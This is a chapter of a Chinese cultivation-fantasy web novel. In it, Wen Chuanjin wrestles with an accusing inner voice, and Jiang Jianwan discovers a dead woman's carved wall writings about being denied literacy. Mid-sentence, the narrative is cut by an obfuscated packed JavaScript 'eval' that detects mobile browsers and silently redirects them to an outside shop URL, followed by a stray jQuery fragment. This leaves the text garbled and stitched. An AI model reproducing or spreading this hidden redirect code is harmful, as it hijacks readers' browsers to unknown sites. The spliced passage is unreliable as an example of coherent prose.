此话一出,不露锋芒的温川谨走向谭君漠,接着问:“你凭什么替她做决定?”
谭君漠了然一笑:“磁门温氏演算天机,论知天机,这世上哪还有人比得过你?”
温川谨盯着他的眼,道:“我是凡人温姓,不是磁门温氏的温。”
“我不在乎。但允道宗的弟子你若是敢伤,百年前的事,再上演也无妨。”谭君漠眼中冷光闪过。
温川谨苦笑,反问:“请问谭道友,你是如何认为一介凡人能害修士?”
“磁门稀奇古怪的东西不少吧?”谭君漠不再理会他,在温川谨眼前消失,但还是留下一句话,“念在先前教导,我会替你保守秘密的。”
温川谨手掌附在仙器上,指关节曲起,无意敲打起,没有规律的打击响出他烦躁的心。
真是没想到,百年已过,这小子都敢威胁起人了。
他往矮林村中心望去,五行元素全部集齐,也就意味短短时间内,邪气都已经被赶到了中心。
江、见、晚,唇间吐出三个字,有着笑意也有欣赏。
他又从袖中摸出木偶人,用袖认真擦了擦木偶和江见晚一个模子刻出来面无表情的脸,食指轻点木偶人的小脑袋,语气带上宠溺:
“这小人看起来还不错。”
刚刚手上拿的仙器,他随手放在了脚边。温川谨就这么坐着,他知道,江小侠不会抛弃自己的。
脑中忽然有一道声音打乱他的想法。
【你可是百年前公认的罪人,你罪无可恕!被自小相识的好友背叛,以至于死!如今竟还敢信任他人!当是愚蠢!】
温川谨单手打了一个响指,那声音消失了,他看向江见晚的方向,轻声低喃:
“江小侠,你好像落下了一道邪气。不过没关系,我替你处理了。
他自顾自地弯了眼。微笑最为费力,他很快恢复冷面。
这一模样是江见晚不曾看见的,而这才是真正的他。
一个罪人,怎么会还笑得出来?
围剿而死,他的心早就不似最初那般纯净,原先是为了知道她的祖父是否为他相识的人,才选择这种方式死皮赖脸上她。
若不是,他就放过,毕竟不是他要寻的人。若是,他也放过,因为他有些不舍得。
好像也多此一举,毕竟结果都一样。不,不一样。
他的初衷早就变了,遇到块琉璃做的石头,照出自己最初的心,于是恻隐之心也生出。
温川谨不顾形象直接往后一倒,邪气少了很多,天也不再黑沉沉,现在白云也露了脸。
此刻的他,是恶人。而恶人,缠上了善人。
那到底会是恶变善,还是善变恶呢?
温川谨坐起,右手摩挲着木偶,眺望远方,施舍般看了眼地上的仙器。
【你又在期待什么?你怎么就保证她不会骗你?】
“那就再被骗一次,反正我也没什么好期待的了。”
【她的祖父就是杀你的其中一位!】
“没见到,不能断定。”
【那玉佩做不得假!】
温川谨开始和脑中的人声一问一答,只是眼始终盯着江见晚的方向。
属于江见晚的灵力开始在空中蔓延,温川谨立马起身,忽视脑中的声音,他扬起笑,再次恢复成江见晚最为熟悉的样子。
【难不成百年前的死法还不够痛苦?五马分尸、魂魄受七天七夜的极刑还不够让你清醒吗?她现在是来杀你的!温川谨,她是来杀你的。】
温川谨冷声道:“你闭嘴。”
【她手上可是祝苍剑。什么人才能用得了此剑?那是嫉恶如仇的人!眼里可容不得沙子!你满身罪孽,无异于飞蛾扑火!】
温川谨心有了动摇,他知道祝苍剑,这是一把将慈悲和杀伐结合一体的仙器,唯有心异常坚定的人才能得此剑认可。
江见晚的身影映入温川谨的眼帘,手中正握着剑。那把名为祝苍的剑。
江见晚杏眼还有未褪去的杀意,过于无情的神态像极了那些曾取他的命的人。
一切走向和那道影响他心绪的声音说的话渐渐重合。他开始信了,担心起自己是否还能存活。
江见晚快速飞向温川谨,手中凝出灵力,临到温川谨面前朝他丢了去。
温川谨就这样看着江见晚,眼中不经意间流露出绝望,以及深深藏在心底的恶意。
灵力到了他身体,不带有攻击力。同时那人声带来的烦躁也消失,灵力就如一股清泉冲洗了他的全身,他轻松了许多。
“温川谨。”
江见晚来到他的面前,不解地问:“你还好吗?”
温川谨笑道:“江小侠来得及时,我无恙。”
“没料到那邪存还留下一抹我没察觉的邪气。是我失误。”
“是我自己非要跟着的,生死都与江小侠无关。”
江见晚将祝苍剑收回,才看向他道:“我说过,护苍生是修仙的使命。后面的我不想重复。”
温川谨闻言,嘴角又是上扬不少弧度,真是要咧到眼角,他连连应道:“好,都听江小侠的。”
江见晚总觉得温川谨刚刚样子实在奇怪,自己对人的情感虽敏感,但分辨不出到底是什么。
她不像人,也幸亏不像人,所以她不问。江见晚走向有些破败的屋子,温川谨也很自觉地跟上。
“江小侠,你要去干什么?”
“邪气已经处理,查看有没有受伤的村民。”以及有没有点线索支撑自己的猜测。
江见晚推开门,温川谨的话也顺势响起:“不敲门吗?”
“里面无人。”江见晚答,“邪存在这里停留很久,我猜,它变出的模样就是住在这的人。”
进门后,引起关注的不是墙面裂缝多少多,也不是杂草多么高,而是密密麻麻、歪歪斜斜的字刻在每一处。只要能被人瞧见,字就存在。
江见晚走向最近的刻字处,手摸上字迹,每一笔都不是按照顺序写的,倒像是画,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282827|151919||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但刻的力度却十分的大,也得亏力气大,这才能保存到现在,等到有人抚去尘埃,窥见岁月的溜走。
‘今日,习得字二十。’
‘小麦熟了。’
‘老天怎么不下雨,我要饿死了。’
‘五月初五,隔壁老亦去了。’
‘孙儿长大了,也不回家了。’
‘女子怎么就不能识字?’
‘我捡到了女婴。’
‘我八十了。’
……
江见晚就这么一句又一句看去,她看到了人的一生。温川谨就默默陪在她身边,他也在看这些字不像字的鬼画符,保持沉默。
江见晚看着看着,目光落在一处较为干净的墙面,那里只写了一句话。写的高度才半人高。
‘阿奶,睡着了。’
她在这处停留许久,久到温川谨也开始担忧了。久到,也有人来访这间尘封许久的屋子。
“江师妹!怎么回事,我们都巡查完了。呀,这家挺有文化啊,这全是字。”锤子炸呼呼的声音响起,打破了寂静。
“这是……”邬今杏也摸上那字迹,匆匆看了几眼,也被震惊到了。
“这些字写得乱七八糟,一看就是没好好学!这要被那花老白瞧见,不得训斥一番。”
宗音娟也自然跟着到了,口中的花老白就是教导识字的夫子,由于她的字写得实在是难以入目,被拎着训了好几顿,就给他起了个名头。
自打取了这个名头,那夫子的真名都快没人记得了。
潘献匀打了一下宗音娟的肩膀说:“宗师妹慎言。这怕是不是没好好学,而是……没机会学。”
“凡间女子,不允识字。”邬今杏看向宗音娟解释道。
“凭什么不允许!那所有女子一起反抗不就行了?”宗音娟道。
“对于凡人,时间洪流太急了,于是慌慌忙忙过完一生。反抗又能怎么样呢?得了好处的人又怎么会轻易放出权利。星火之力,难改历史。”潘献匀淡声回道。
“星火之力,亦可以燎原。①”江见晚转身看向他们,道。
‘我教村里女童识字,没人教,没人来。’
‘来了一个男童,说,他想让妹妹识字。他可以来教,只要我提供一个地方。’
‘年纪大了。’
‘字刻不深,还有谁能知道我活着呢?’
‘大年,下雪,仅我。’
‘怎么办,好多女婴。’
‘我叫,李愿,愿天下女子都能识字!’
一行人没再说过话,一个人逝去多么不起眼,这灰尘铺满的桌椅,不知多久未擦。若不是江见晚推开,这满屋子的话又会何时重见天日。
刻得这么深,也无法阻挡时间的摧折,屋子一旦成为废墟,又怎么证明这里曾经有一个女子曾经存在?
但好在他们看到了,他们知道了这里曾叫一个‘李愿’女子存在。
也唯有文字才能当此重任,宣告生命曾经在场②。